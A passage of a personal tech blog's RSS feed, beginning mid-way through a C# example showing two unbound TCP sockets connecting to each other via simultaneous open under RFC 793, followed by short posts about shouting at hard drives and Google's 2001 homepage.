#008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; sock.&lt;span style=&quot;color: #0000FF;&quot;&gt;Bind&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; a &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; sock.&lt;span style=&quot;color: #0000FF;&quot;&gt;Connect&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; b &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Console.&lt;span style=&quot;color: #0000FF;&quot;&gt;WriteLine&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;&amp;quot;Connected from &amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; a &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;&amp;quot; to &amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; b &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Thread.&lt;span style=&quot;color: #0000FF;&quot;&gt;Sleep&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; Timeout.&lt;span style=&quot;color: #0000FF;&quot;&gt;Infinite&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Let&#039;s see what happens compiling and running it:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- s9ymdb:11 --&gt;&lt;img class=&quot;serendipity_image_center&quot; width=&quot;552&quot; height=&quot;68&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://www.tellini.info/blog/uploads/Screenshots/ConnectionWithoutListening.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Yes, you get a connection between the two sockets. It&#039;s something I was never told about and I would have never expected to see. But it&#039;s correct as per &lt;a href=&quot;http://www.ibiblio.org/pub/docs/rfc/rfc793.txt&quot;&gt;RFC 793&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I&#039;ve found out about it when a couple of clients on a test system started connecting between themselves, while they were supposed to connect to 2 different servers on localhost. Both clients were periodically trying to connect to their server, which was down. They were creating a new socket for every attempt, without binding it, thus Windows&#039; TCP/IP stack assigned a sequential port number to them. Eventually, the two processes reached the configuration required for the &quot;Simultaneous Connection Synchronization&quot; as described in the RFC.&lt;br /&gt;
&lt;br /&gt;
Interesting. I guess you live and you learn. 
    </content:encoded>

    <pubDate>Tue, 10 Feb 2009 12:25:00 -0800</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/78-guid.html</guid>
    
</item>
<item>
    <title>Don't shout at your hard drives!</title>
    <link>http://www.tellini.info/blog/archives/77-Dont-shout-at-your-hard-drives!.html</link>
            <category>Fun</category>
            <category>SysAdmin</category>
    
    <comments>http://www.tellini.info/blog/archives/77-Dont-shout-at-your-hard-drives!.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=77</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=77</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    It appears that hard drives don&#039;t like it...&lt;br /&gt;
&lt;br /&gt;
&lt;object width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/tDacjrSCeq4&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=es&amp;feature=player_embedded&amp;fs=1&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/tDacjrSCeq4&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=es&amp;feature=player_embedded&amp;fs=1&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;br /&gt;
It also proves that some sysadmins have far too much time to spare. &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Mon, 05 Jan 2009 13:47:43 -0800</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/77-guid.html</guid>
    <category>drives</category>
<category>fun</category>
<category>shouting</category>
<category>sysadmin</category>

</item>
<item>
    <title>Back in 2001</title>
    <link>http://www.tellini.info/blog/archives/75-Back-in-2001.html</link>
            <category>IT &amp; Technology</category>
    
    <comments>http://www.tellini.info/blog/archives/75-Back-in-2001.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=75</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=75</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    Nowadays everyone knows Google. But do you remember how it looked like in 2001?&lt;br /&gt;
&lt;br /&gt;
Let&#039;s &lt;a href=&quot;http://www.google.com/search2001.html&quot;&gt;have a look&lt;/a&gt;... you can even perform searches and get the same results you would have obtained seven years ago &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Wed, 01 Oct 2008 15:01:51 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/75-guid.html</guid>
    
</item>

</channel>
</rss>